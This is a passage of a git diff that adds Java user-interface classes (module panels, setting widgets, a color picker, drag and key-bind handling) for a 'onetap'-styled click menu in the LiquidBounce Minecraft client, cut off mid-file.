s.mouseClicked(mouseX, mouseY, mouseButton)); + } + + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + this.moduleList.forEach(e -> e.mouseReleased(mouseX, mouseY, state)); + } + + public void keyTyped(final char typedChar, final int keyCode) { + this.moduleList.forEach(e -> e.keyTyped(typedChar, keyCode)); + } + + public void setSelected(final boolean s) { + this.selected = s; + } + + public boolean isSelected() { + return this.selected; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Downward.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Downward.java new file mode 100644 index 0000000..8f839fa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Downward.java @@ -0,0 +1,66 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils.Position; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.gui.Gui; + +public abstract class Downward<V extends Value> extends Gui { + public V setting; + private float x; + private float y; + private int width; + private int height; + public Position pos; + public ModuleRender moduleRender; + + public Downward(final V s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + this.x = x; + this.y = y; + this.width = width; + this.height = height; + this.setting = s; + this.pos = new Position(this.getX(), this.getY(), (float)this.getWidth(), (float)this.getHeight()); + this.moduleRender = moduleRender; + } + + public abstract void draw(final int p0, final int p1); + + public abstract void mouseClicked(final int p0, final int p1, final int p2); + + public void keyTyped(final char typedChar, final int keyCode) { + } + + public abstract void mouseReleased(final int p0, final int p1, final int p2); + + public void update() { + this.pos = new Position(this.getX(), this.getY(), (float)this.getWidth(), (float)this.getHeight()); + } + + public float getX() { + return this.x; + } + + public float getY() { + return this.y; + } + + public int getHeight() { + return this.height; + } + + public int getWidth() { + return this.width; + } + + public void setX(final int x) { + this.x = (float)x; + } + + public void setY(final int y) { + this.y = (float)y; + } + + public int getScrollY() { + return this.moduleRender.getScrollY(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/ModuleRender.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/ModuleRender.java new file mode 100644 index 0000000..37b8794 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/ModuleRender.java @@ -0,0 +1,178 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap; + +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings.*; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils.Position; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.render.RoundedUtil; +import net.ccbluex.liquidbounce.features.value.*; +import org.lwjgl.input.Keyboard; + +import java.awt.*; +import java.util.ArrayList; +import java.util.List; + +public class ModuleRender { + public Position pos; + public float y; + public float x; + private float offset; + private final Module parentModule; + public boolean selected; + public boolean binds; + public int height; + public int scrollY; + public List<Downward> downwards; + private float modulex; + private float moduley; + + public ModuleRender(final Module module, final float modX, final float modY, final float w, final float h) { + this.offset = 0.0f; + this.height = 0; + this.scrollY = 0; + this.downwards = new ArrayList<Downward>(); + this.parentModule = module; + int cHeight = 20; + for (final Value setting : module.getValues()) { + if (setting instanceof IntegerValue) { + this.downwards.add(new NumberSetting((IntegerValue)setting, modX, modY + cHeight, 0, 0, this)); + cHeight += 16; + } + if (setting instanceof FloatValue) { + this.downwards.add(new FloatSetting((FloatValue)setting, modX, modY + cHeight, 0, 0, this)); + cHeight += 16; + } + if (setting instanceof BoolValue) { + this.downwards.add(new BoolSetting((BoolValue)setting, modX, modY + cHeight - 6.0f, 0, 0, this)); + cHeight += 16; + } + if (setting instanceof ListValue) { + this.downwards.add(new ListSetting((ListValue)setting, modX, modY + cHeight, -6, 0, this)); + cHeight += 22; + } + if (setting instanceof TextValue) { + this.downwards.add(new TextSetting((TextValue)setting, modX, modY + cHeight, -6, 0, this)); + cHeight += 22; + } + if (setting instanceof ColorValue) { + this.downwards.add(new ColorSetting((ColorValue)setting, modX, modY + cHeight, -6, 0, this)); + cHeight += 22; + } + } + this.height = cHeight; + this.pos = new Position(modX, modY, w, (float)cHeight); + } + + public void drawScreen(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + try { + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.x = this.pos.x; + this.y = this.pos.y + this.getScrollY(); + RoundedUtil.drawRound(this.modulex + 5.0f + this.x, this.moduley + 17.0f + this.y, 135.0f, this.pos.height, 3.0f, new Color(50, 54, 65)); + RoundedUtil.drawGradientHorizontal(this.modulex + 5.0f + this.x, this.moduley + 18.0f + this.y, 135.0f, 1.5f, 1.0f, new Color(guiColor), new Color(guiColor)); + Fonts.fontTahoma.drawString(this.parentModule.getName(), this.modulex + 5.0f + this.x, this.moduley + 17.0f + this.y - 8.0f, new Color(255, 255, 255).getRGB()); + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.x + 4.0f, this.moduley + 17.0f + this.y + 8.0f, 7.0f, 7.0f, 1.0f, this.parentModule.getState() ? new Color(86, 94, 115).getRGB() : new Color(50, 54, 65).getRGB(), 1.0f, this.parentModule.getState() ? new Color(86, 94, 115).getRGB() : new Color(85, 90, 96).getRGB()); + if (this.isHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.x + 4.0f, this.moduley + 17.0f + this.y + 8.0f, 7.0f, 7.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, new Color(guiColor).getRGB()); + } + Fonts.fontTahoma.drawString("Enable", this.modulex + 5.0f + this.x + 4.0f + 10.0f, this.moduley + 17.0f + this.y + 8.0f + 3.0f, new Color(200, 200, 200).getRGB()); + for (final Downward downward : this.downwards) { + downward.draw(mouseX, mouseY); + } + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.x + 115.0f - Fonts.fontTahoma.getStringWidth(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 13.0f, this.moduley + 17.0f + this.y + 8.0f + 0.5f, (float)(Fonts.fontTahoma.getStringWidth(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 4), 7.0f, 1.0f, new Color(28, 32, 40).getRGB(), 1.0f, new Color(86, 94, 115).getRGB()); + Fonts.fontTahoma.drawString(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase(), this.modulex + 5.0f + this.x + 117.0f - Fonts.fontTahoma.getStringWidth(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 13.0f, this.moduley + 17.0f + this.y + 11.0f, -1); + if (this.isKeyBindHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.x + 115.0f - Fonts.fontTahoma.getStringWidth(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 13.0f, this.moduley + 17.0f + this.y + 8.0f + 0.5f, (float)(Fonts.fontTahoma.getStringWidth(this.binds ? "..." : Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 4), 7.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + } + catch (NullPointerException e) { + e.printStackTrace(); + } + } + + + public boolean isSelected() { + return this.selected; + } + + public void setSelected(final boolean selected) { + this.selected = selected; + } + + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (this.isKeyBindHovered(mouseX, mouseY) && mouseButton == 0) { + this.binds = true; + } + if (!this.isKeyBindHovered(mouseX, mouseY) && this.binds && mouseButton == 0) { + this.binds = false; + } + if (this.isHovered(mouseX, mouseY) && mouseButton == 0) { + this.parentModule.toggle(); + } + if (this.binds && mouseButton == 1) { + this.parentModule.setKeyBind(0); + this.binds = false; + } + this.downwards.forEach(e -> e.mouseClicked(mouseX, mouseY, mouseButton)); + } + + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + this.downwards.forEach(e -> e.mouseReleased(mouseX, mouseY, state)); + } + + public void keyTyped(final char typedChar, int keyCode) { + final int finalKeyCode = keyCode; + this.downwards.forEach(e -> e.keyTyped(typedChar, finalKeyCode)); + if (this.binds) { + if (keyCode == 211) { + keyCode = 0; + } + this.parentModule.setKeyBind(keyCode); + this.binds = false; + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.x + 4.0f && mouseX <= this.modulex + 5.0f + this.x + 4.0f + 15.0f && mouseY >= this.moduley + 17.0f + this.y + 8.0f && mouseY <= this.moduley + 17.0f + this.y + 8.0f + 6.0f; + } + + public boolean isKeyBindHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.x + 115.0f - Fonts.fontTahoma.getStringWidth(Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 13.0f && mouseX <= this.modulex + 5.0f + this.x + 115.0f - Fonts.fontTahoma.getStringWidth(Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 13.0f + Fonts.fontTahoma.getStringWidth(Keyboard.getKeyName(this.parentModule.getKeyBind()).toLowerCase()) + 3.0f && mouseY >= this.moduley + 17.0f + this.y + 8.0f + 0.5f && mouseY <= this.moduley + 17.0f + this.y + 8.0f + 0.5f + 7.0f; + } + + public Module getparent() { + return this.parentModule; + } + + public float getY() { + return this.pos.y + this.getScrollY(); + } + + public float getMaxValueY() { + return this.downwards.get(this.downwards.size() - 1).getY(); + } + + public void setY(final float y) { + this.pos.y = y; + } + + public int getScrollY() { + return this.scrollY; + } + + public void setScrollY(final int scrollY) { + this.scrollY = scrollY; + } + + public float getOffset() { + return this.offset; + } + + public void setOffset(final float offset) { + this.offset = offset; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/OtcClickGUi.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/OtcClickGUi.java new file mode 100644 index 0000000..662e5ec --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/OtcClickGUi.java @@ -0,0 +1,170 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap; + +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils.OtcScroll; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.render.RoundedUtil; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.ScaledResolution; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +public class OtcClickGUi extends GuiScreen { + private static float mainx; + private float x; + private static float mainy; + private float hight; + private int x2; + private int y2; + private boolean dragging; + private final List<CategoryScreen> tabs; + + public int sHeight() { + return super.height * 2; + } + + public OtcClickGUi() { + this.mainx = 320.0f; + this.x = 0.0f; + this.mainy = 130.0f; + this.hight = 120.0f; + this.tabs = new ArrayList<CategoryScreen>(); + for (final ModuleCategory category : ModuleCategory.values()) { + this.tabs.add(new CategoryScreen(category, this.x)); + this.x += Fonts.fontTahoma.getStringWidth(this.newcatename(category)) + 10; + } + } + + public String newcatename(final ModuleCategory moduleCategory) { + if (moduleCategory.getDisplayName().equals("Combat")) { + return "combat"; + } + if (moduleCategory.getDisplayName().equals("Player")) { + return "player"; + } + if (moduleCategory.getDisplayName().equals("Movement")) { + return "move"; + } + if (moduleCategory.getDisplayName().equals("Render")) { + return "visuals"; + } + if (moduleCategory.getDisplayName().equals("World")) { + return "world"; + } + return ""; + } + + public void initGui() { + super.initGui(); + } + + public void drawScreen(final int mouseX, final int mouseY, final float partialTicks) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + try { + if (this.dragging) { + this.mainx = (float)(this.x2 + mouseX); + this.mainy = (float)(this.y2 + mouseY); + } + final ScaledResolution scaledResolution = new ScaledResolution(this.mc); + RenderUtils.drawRect(0.0f, 0.0f, (float)scaledResolution.getScaledWidth(), (float)scaledResolution.getScaledHeight(), new Color(0, 0, 0, 120).getRGB()); + RoundedUtil.drawRound(this.mainx, this.mainy, 290.0f, this.hight + 180.0f, 3.0f, new Color(44, 47, 56)); + RoundedUtil.drawRound(this.mainx, this.mainy - 50.0f, 290.0f, this.hight - 80.0f, 3.0f, new Color(44, 47, 56)); + RoundedUtil.drawGradientHorizontal(this.mainx, this.mainy - 50.0f, 290.0f, this.hight - 116.0f, 3.0f, new Color(guiColor), new Color(guiColor)); + Fonts.fontTahoma.drawString("onetap.su", this.mainx + 11.0f, this.mainy - 31.0f, new Color(255, 255, 255).getRGB()); + RoundedUtil.drawRound(this.mainx + 64.0f, this.mainy - 35.0f, 0.5f, this.hight - 105.0f, 1.0f, new Color(255, 255, 255, 150)); + final CategoryScreen selectedTab = this.getSelectedTab(); + if (selectedTab == null) { + this.mc.fontRendererObj.drawString("-------------", (int)this.mainx + 109, (int)this.mainy + 40, new Color(255, 255, 255).getRGB()); + this.mc.fontRendererObj.drawString(" Select one of", (int)this.mainx + 109, (int)this.mainy + 50, new Color(255, 255, 255).getRGB()); + this.mc.fontRendererObj.drawString("-------------", (int)this.mainx + 109, (int)this.mainy + 60, new Color(255, 255, 255).getRGB()); + this.mc.fontRendererObj.drawString("Enjoy OneTap", (int)this.mainx + 107, (int)this.mainy + 75, new Color(255, 255, 255).getRGB()); + } + this.tabs.forEach(s -> s.drawScreen(mouseX, mouseY)); + super.drawScreen(mouseX, mouseY, partialTicks); + } + catch (NullPointerException e) { + e.printStackTrace(); + } + } + + protected void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) throws IOException { + if (mouseButton == 0) { + for (final CategoryScreen categoryScreen : this.tabs) { + if (categoryScreen.isHovered(mouseX, mouseY)) { + for (final CategoryScreen other : this.tabs) { + other.setSelected(false); + } + categoryScreen.setSelected(true); + } + } + } + if (this.isHovered(mouseX, mouseY)) { + this.x2 = (int)(this.mainx - mouseX); + this.y2 = (int)(this.mainy - mouseY); + this.dragging = true; + } + final CategoryScreen selectedTab = this.getSelectedTab(); + if (selectedTab != null) { + selectedTab.mouseClicked(mouseX, mouseY, mouseButton); + } + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + public CategoryScreen getSelectedTab() { + return this.tabs.stream().filter(CategoryScreen::isSelected).findAny().orElse(null); + } + + private boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.mainx && mouseX <= this.mainx + 45.0f + 105.0f + 270.0f && mouseY >= this.mainy - 50.0f - 7.0f && mouseY <= this.mainy - 50.0f + 20.0f; + } + + public static OtcScroll scroll() { + final int mouse = Mouse.getDWheel(); + if (mouse > 0) { + return OtcScroll.UP; + } + if (mouse < 0) { + return OtcScroll.DOWN; + } + return null; + } + + protected void mouseReleased(final int mouseX, final int mouseY, final int state) { + if (state == 0) { + this.dragging = false; + } + this.tabs.forEach(e -> e.mouseReleased(mouseX, mouseY, state)); + super.mouseReleased(mouseX, mouseY, state); + } + + protected void keyTyped(final char typedChar, final int keyCode) throws IOException { + this.tabs.forEach(e -> e.keyTyped(typedChar, keyCode)); + super.keyTyped(typedChar, keyCode); + } + + public static float getMainx() { + return mainx; + } + + public static float getMainy() { + return mainy; + } + + public float getX2() { + return (float)this.x2; + } + + public float getY2() { + return (float)this.y2; + } + + public int getHeight() { + return (int)this.hight; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/BoolSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/BoolSetting.java new file mode 100644 index 0000000..32342f6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/BoolSetting.java @@ -0,0 +1,49 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Downward; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.ModuleRender; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.OtcClickGUi; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.BoolValue; + +import java.awt.*; + +public class BoolSetting extends Downward<BoolValue> { + private float modulex; + private float moduley; + private float booly; + + public BoolSetting(final BoolValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + } + + @Override + public void draw(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.booly = this.pos.y + this.getScrollY(); + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.booly + 8.0f, 7.0f, 7.0f, 1.0f, ((boolean)((BoolValue)this.setting).get()) ? new Color(86, 94, 115).getRGB() : new Color(50, 54, 65).getRGB(), 1.0f, ((boolean)((BoolValue)this.setting).get()) ? new Color(86, 94, 115).getRGB() : new Color(85, 90, 96).getRGB()); + if (this.isHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.booly + 8.0f, 7.0f, 7.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + Fonts.fontTahoma.drawString(((BoolValue)this.setting).getName(), this.modulex + 5.0f + this.pos.x + 4.0f + 10.0f, this.moduley + 17.0f + this.booly + 8.0f + 3.0f, new Color(200, 200, 200).getRGB()); + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (this.isHovered(mouseX, mouseY)) { + ((BoolValue)this.setting).toggle(); + } + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 4.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 4.0f + 135.0f - 128.0f && mouseY >= this.moduley + 17.0f + this.booly + 8.0f && mouseY <= this.moduley + 17.0f + this.booly + 8.0f + 7.0f; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ColorSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ColorSetting.java new file mode 100644 index 0000000..fe31988 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ColorSetting.java @@ -0,0 +1,239 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Downward; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.ModuleRender; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.OtcClickGUi; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.ColorValue; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class ColorSetting extends Downward<ColorValue> { + public ColorValue colorValue; + private float hue; + private float saturation; + private float brightness; + private float alpha; + private boolean colorSelectorDragging; + private boolean hueSelectorDragging; + private boolean alphaSelectorDragging; + private float modulex; + private float moduley; + private float colory; + + public ColorSetting(final ColorValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + this.colorValue = s; + this.updateValue(s.get()); + } + + @Override + public void draw(final int mouseX, final int mouseY) { + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.colory = this.pos.y + this.getScrollY(); + final float x2 = this.modulex + 5.0f + this.pos.x + 115.0f; + final float y2 = this.moduley + 17.0f + this.colory + 10.0f; + final float width = 11.0f; + final float height = 5.0f; + Fonts.fontTahoma.drawString(this.colorValue.getName(), this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.colory + 12.0f, new Color(200, 200, 200).getRGB()); + final int black = RenderUtils.getColor(0); + RenderUtils.drawRect(x2 - 0.5f, y2 - 0.5f, x2 + width + 0.5f, y2 + height + 0.5f, black); + final int guiAlpha = 255; + final int color = this.colorValue.get(); + final int colorAlpha = color >> 24 & 0xFF; + final int minAlpha = Math.min(guiAlpha, colorAlpha); + if (colorAlpha < 255) { + RenderUtils.drawCheckeredBackground(x2, y2, x2 + width, y2 + height); + } + final int newColor = new Color(color >> 16 & 0xFF, color >> 8 & 0xFF, color & 0xFF, minAlpha).getRGB(); + RenderUtils.drawGradientRect(x2, y2, x2 + width, y2 + height, newColor, RenderUtils.darker(newColor, 0.6f)); + if (this.colorValue.isExpanded()) { + GL11.glTranslated(0.0, 0.0, 3.0); + final float expandedX = this.getExpandedX(); + final float expandedY = this.getExpandedY(); + final float expandedWidth = this.getExpandedWidth(); + final float expandedHeight = this.getExpandedHeight(); + RenderUtils.drawBorderedRect(expandedX, expandedY, expandedX + expandedWidth, expandedY + expandedHeight + 70.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), new Color(85, 90, 96).getRGB()); + final float colorPickerSize = expandedWidth - 9.0f - 8.0f; + final float colorPickerLeft = expandedX + 3.0f; + final float colorPickerTop = expandedY + 3.0f; + final float colorPickerRight = colorPickerLeft + colorPickerSize; + final float colorPickerBottom = colorPickerTop + colorPickerSize; + final int selectorWhiteOverlayColor = new Color(255, 255, 255, Math.min(guiAlpha, 180)).getRGB(); + if (mouseX <= colorPickerLeft || mouseY <= colorPickerTop || mouseX >= colorPickerRight || mouseY >= colorPickerBottom) { + this.colorSelectorDragging = false; + } + RenderUtils.drawRect(colorPickerLeft - 0.5f, colorPickerTop - 0.5f, colorPickerRight + 0.5f, colorPickerBottom + 0.5f, RenderUtils.getColor(0)); + this.drawColorPickerRect(colorPickerLeft, colorPickerTop, colorPickerRight, colorPickerBottom); + float hueSliderLeft = this.saturation * (colorPickerRight - colorPickerLeft); + float alphaSliderTop = (1.0f - this.brightness) * (colorPickerBottom - colorPickerTop); + if (this.colorSelectorDragging) { + final float hueSliderRight = colorPickerRight - colorPickerLeft; + final float alphaSliderBottom = mouseX - colorPickerLeft; + this.saturation = alphaSliderBottom / hueSliderRight; + hueSliderLeft = alphaSliderBottom; + final float hueSliderYDif = colorPickerBottom - colorPickerTop; + final float hueSelectorY = mouseY - colorPickerTop; + this.brightness = 1.0f - hueSelectorY / hueSliderYDif; + alphaSliderTop = hueSelectorY; + this.updateColor(Color.HSBtoRGB(this.hue, this.saturation, this.brightness), false); + } + float hueSliderRight = colorPickerLeft + hueSliderLeft - 0.5f; + float alphaSliderBottom = colorPickerTop + alphaSliderTop - 0.5f; + float hueSliderYDif = colorPickerLeft + hueSliderLeft + 0.5f; + float hueSelectorY = colorPickerTop + alphaSliderTop + 0.5f; + RenderUtils.drawRect(hueSliderRight - 0.5f, alphaSliderBottom - 0.5f, hueSliderRight, hueSelectorY + 0.5f, black); + RenderUtils.drawRect(hueSliderYDif, alphaSliderBottom - 0.5f, hueSliderYDif + 0.5f, hueSelectorY + 0.5f, black); + RenderUtils.drawRect(hueSliderRight, alphaSliderBottom - 0.5f, hueSliderYDif, alphaSliderBottom, black); + RenderUtils.drawRect(hueSliderRight, hueSelectorY, hueSliderYDif, hueSelectorY + 0.5f, black); + RenderUtils.drawRect(hueSliderRight, alphaSliderBottom, hueSliderYDif, hueSelectorY, selectorWhiteOverlayColor); + hueSliderLeft = colorPickerRight + 3.0f; + hueSliderRight = hueSliderLeft + 8.0f; + if (mouseX <= hueSliderLeft || mouseY <= colorPickerTop || mouseX >= hueSliderRight || mouseY >= colorPickerBottom) { + this.hueSelectorDragging = false; + } + hueSliderYDif = colorPickerBottom - colorPickerTop; + hueSelectorY = (1.0f - this.hue) * hueSliderYDif; + if (this.hueSelectorDragging) { + final float inc = mouseY - colorPickerTop; + this.hue = 1.0f - inc / hueSliderYDif; + hueSelectorY = inc; + this.updateColor(Color.HSBtoRGB(this.hue, this.saturation, this.brightness), false); + } + RenderUtils.drawRect(hueSliderLeft - 0.5f, colorPickerTop - 0.5f, hueSliderRight + 0.5f, colorPickerBottom + 0.5f, black); + float hsHeight = colorPickerBottom - colorPickerTop; + float alphaSelectorX = hsHeight / 5.0f; + float asLeft = colorPickerTop; + for (int i2 = 0; i2 < 5.0f; ++i2) { + final boolean last = i2 == 4.0f; + RenderUtils.drawGradientRect(hueSliderLeft, asLeft, hueSliderRight, asLeft + alphaSelectorX, RenderUtils.getColor(Color.HSBtoRGB(1.0f - 0.2f * i2, 1.0f, 1.0f)), RenderUtils.getColor(Color.HSBtoRGB(1.0f - 0.2f * (i2 + 1), 1.0f, 1.0f))); + if (!last) { + asLeft += alphaSelectorX; + } + } + final float hsTop = colorPickerTop + hueSelectorY - 0.5f; + float asRight = colorPickerTop + hueSelectorY + 0.5f; + RenderUtils.drawRect(hueSliderLeft - 0.5f, hsTop - 0.5f, hueSliderLeft, asRight + 0.5f, black); + RenderUtils.drawRect(hueSliderRight, hsTop - 0.5f, hueSliderRight + 0.5f, asRight + 0.5f, black); + RenderUtils.drawRect(hueSliderLeft, hsTop - 0.5f, hueSliderRight, hsTop, black); + RenderUtils.drawRect(hueSliderLeft, asRight, hueSliderRight, asRight + 0.5f, black); + RenderUtils.drawRect(hueSliderLeft, hsTop, hueSliderRight, asRight, selectorWhiteOverlayColor); + alphaSliderTop = colorPickerBottom + 3.0f; + alphaSliderBottom = alphaSliderTop + 8.0f; + if (mouseX <= colorPickerLeft || mouseY <= alphaSliderTop || mouseX >= colorPickerRight || mouseY >= alphaSliderBottom) { + this.alphaSelectorDragging = false; + } + final int z2 = Color.HSBtoRGB(this.hue, this.saturation, this.brightness); + final int r2 = z2 >> 16 & 0xFF; + final int g2 = z2 >> 8 & 0xFF; + final int b2 = z2 & 0xFF; + hsHeight = colorPickerRight - colorPickerLeft; + alphaSelectorX = this.alpha * hsHeight; + if (this.alphaSelectorDragging) { + asLeft = mouseX - colorPickerLeft; + this.alpha = asLeft / hsHeight; + alphaSelectorX = asLeft; + this.updateColor(new Color(r2, g2, b2, (int)(this.alpha * 255.0f)).getRGB(), true); + } + RenderUtils.drawRect(colorPickerLeft - 0.5f, alphaSliderTop - 0.5f, colorPickerRight + 0.5f, alphaSliderBottom + 0.5f, black); + RenderUtils.drawCheckeredBackground(colorPickerLeft, alphaSliderTop, colorPickerRight, alphaSliderBottom); + RenderUtils.drawGradientRect(colorPickerLeft, alphaSliderTop, colorPickerRight, alphaSliderBottom, true, new Color(r2, g2, b2, 0).getRGB(), new Color(r2, g2, b2, Math.min(guiAlpha, 255)).getRGB()); + asLeft = colorPickerLeft + alphaSelectorX - 0.5f; + asRight = colorPickerLeft + alphaSelectorX + 0.5f; + RenderUtils.drawRect(asLeft - 0.5f, alphaSliderTop, asRight + 0.5f, alphaSliderBottom, black); + RenderUtils.drawRect(asLeft, alphaSliderTop, asRight, alphaSliderBottom, selectorWhiteOverlayColor); + GL11.glTranslated(0.0, 0.0, -3.0); + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 115.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 115.0f + 13.0f && mouseY >= this.moduley + 17.0f + this.colory + 10.0f && mouseY <= this.moduley + 17.0f + this.colory + 10.0f - 0.5 + 8.0; + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (mouseButton == 1 && this.isHovered(mouseX, mouseY)) { + this.colorValue.setExpanded(!this.colorValue.isExpanded()); + } + if (this.colorValue.isExpanded() && mouseButton == 0) { + final float expandedX = this.getExpandedX(); + final float expandedY = this.getExpandedY(); + final float expandedWidth = this.getExpandedWidth(); + final float expandedHeight = this.getExpandedHeight(); + final float colorPickerSize = expandedWidth - 9.0f - 8.0f; + final float colorPickerLeft = expandedX + 3.0f; + final float colorPickerTop = expandedY + 3.0f; + final float colorPickerRight = colorPickerLeft + colorPickerSize; + final float colorPickerBottom = colorPickerTop + colorPickerSize; + final float alphaSliderTop = colorPickerBottom + 3.0f; + final float alphaSliderBottom = alphaSliderTop + 8.0f; + final float hueSliderLeft = colorPickerRight + 3.0f; + final float hueSliderRight = hueSliderLeft + 8.0f; + this.colorSelectorDragging = (!this.colorSelectorDragging && mouseX > colorPickerLeft && mouseY > colorPickerTop && mouseX < colorPickerRight && mouseY < colorPickerBottom); + this.alphaSelectorDragging = (!this.alphaSelectorDragging && mouseX > colorPickerLeft && mouseY > alphaSliderTop && mouseX < colorPickerRight && mouseY < alphaSliderBottom); + this.hueSelectorDragging = (!this.hueSelectorDragging && mouseX > hueSliderLeft && mouseY > colorPickerTop && mouseX < hueSliderRight && mouseY < 